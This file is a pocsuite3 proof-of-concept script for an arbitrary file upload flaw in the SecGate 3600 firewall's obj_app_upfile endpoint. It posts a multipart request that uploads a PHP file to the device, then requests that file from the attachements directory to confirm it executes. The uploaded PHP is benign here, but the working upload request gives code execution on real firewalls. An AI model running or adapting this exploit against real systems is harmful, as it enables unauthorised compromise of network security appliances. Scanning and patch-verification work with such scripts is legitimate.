网神SecGate3600防火墙obj_app_upfile任意文件上传漏洞.py

#!/usr/bin/env python
# coding: utf-8
from collections import OrderedDict
from urllib.parse import urljoin
import re,random,hashlib,base64
from pocsuite3.api import POCBase, Output, register_poc, logger, requests, OptDict, OptString, VUL_TYPE
from pocsuite3.api import REVERSE_PAYLOAD, POC_CATEGORY


class POC(POCBase):
    vulID = '0'  # ssvid ID 如果是提交漏洞的同时提交 PoC,则写成 0
    version = '1'  #默认为1
    author = ['']  #  PoC作者的大名
    vulDate = '2023-08-09'  #漏洞公开的时间,不知道就写今天
    createDate = '2023-08-09'  # 编写 PoC 的日期
    updateDate = '2023-08-09'  # PoC 更新的时间,默认和编写时间一样
    references = ['']  # 漏洞地址来源,0day不用写
    name = ''  # PoC 名称
    appPowerLink = ''  # 漏洞厂商主页地址
    appName = ''  # 漏洞应用名称
    appVersion = ''''''  # 漏洞影响版本
    vulType = VUL_TYPE.UPLOAD_FILES #漏洞类型,类型参考见 漏洞类型规范表
    desc = '''
        网神 SecGate 3600 防火墙 obj_app_upfile 任意文件上传漏洞
    '''
  # 漏洞简要描述
    samples = ['']  # 测试样列,就是用 PoC 测试成功的网站
    install_requires = ['']  # PoC 第三方模块依赖，请尽量不要使用第三方模块，必要时请参考《PoC第三方模块依赖说明》填写
    pocDesc = '''
    检测:pocsuite -r .\poc++.py -u url(-f url.txt) --verify 
    '''
    category = POC_CATEGORY.EXPLOITS.REMOTE
    
    # 生成任意8位字符  
    def generate_random_string(selff,length=8):  
        chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'  
        return ''.join(random.choice(chars) for _ in range(length))
    # 使用MD5加密  
    def md5_encrypt(self,text):  
        m = hashlib.md5()  
        m.update(text.encode('utf-8'))  
        return m.hexdigest()
    
    def _verify(self):
        
        # 生成随机字符串并加密  
        random_string = self.generate_random_string()  
        encrypted_string = self.md5_encrypt(random_string)
        result = {}
        path ="/?g=obj_app_upfile"
        headers={
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36',
            'Content-Type': 'multipart/form-data; boundary=----WebKitFormBoundaryJpMyThWnAxbcBBQc',
            'Accept': '*/*',
            'Accept-Encoding': 'gzip, deflate'
        }
        payload =f"""\n------WebKitFormBoundaryJpMyThWnAxbcBBQc
Content-Disposition: form-data; name="MAX_FILE_SIZE"

10000000
------WebKitFormBoundaryJpMyThWnAxbcBBQc
Content-Disposition: form-data; name="upfile"; filename="vulntest.php"
Content-Type: text/plain

<?php echo md5({random_string});unlink(__FILE__);?>

------WebKitFormBoundaryJpMyThWnAxbcBBQc
Content-Disposition: form-data; name="submit_post"

obj_app_upfile
------WebKitFormBoundaryJpMyThWnAxbcBBQc
Content-Disposition: form-data; name="__hash__"

0b9d6b1ab7479ab69d9f71b05e0e9445
------WebKitFormBoundaryJpMyThWnAxbcBBQc--"""
        try:
            resq  = requests.post(url=self.url+path,headers=headers,data=payload,timeout=10,verify=False)
            resq_2 = requests.get(url=self.url+'/attachements/vulntest.php',headers=headers,timeout=10,verify=False)
            if 'File is valid, and was successfully uploaded' in resq.text or encrypted_string in resq_2.text:
                result['VerifyInfo'] = {}
                result['VerifyInfo']['URL'] = self.url + path
        except Exception as e:
            return
        return self.parse_output(result)         

    def _attack(self):
        return self._verify()
    def parse_attack(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('target is not vulnerable')
        return output

    def _shell(self):
        return

    def parse_output(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('target is not vulnerable')
        return output
    
register_poc(POC)